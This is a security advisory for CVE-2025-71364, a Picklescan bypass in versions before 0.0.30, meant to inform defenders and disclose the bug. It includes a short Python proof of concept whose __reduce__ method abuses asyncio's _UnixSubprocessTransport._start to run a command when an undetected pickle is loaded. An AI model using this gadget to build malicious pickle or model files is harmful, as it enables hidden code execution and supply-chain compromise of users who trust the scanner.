All reports
Medium

Picklescan is missing detection when calling built-in python library asyncio.unix_events._UnixSubprocessTransport._start

Affected versions

Affected versions
< 0.0.30
Fixed version
0.0.30

Exploitation

CVE-2025-71364

Probability of exploitation in the next 30 days: 0.70%

FIRST EPSS · 2026-11-21

Description

Summary

Using asyncio.unix_events._UnixSubprocessTransport._start function, which is a built-in python library function to execute remote pickle file.

Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to asyncio.unix_events._UnixSubprocessTransport._start function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC
from asyncio.unix_events import _UnixSubprocessTransport
from types import SimpleNamespace

class EvilAsyncioUnixSubprocessTransportStart:
    def __reduce__(self):
        fake_self = SimpleNamespace(
            _loop=None,
            _protocol=None,
            _proc=None
        )
        args = "whoami"  
        return _UnixSubprocessTransport._start, (
            fake_self, args, True, None, None, None, 0
        )
Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Corresponding

https://github.com/FredericDT https://github.com/Qhaoduoyu

Links

Credits

  • FredericDT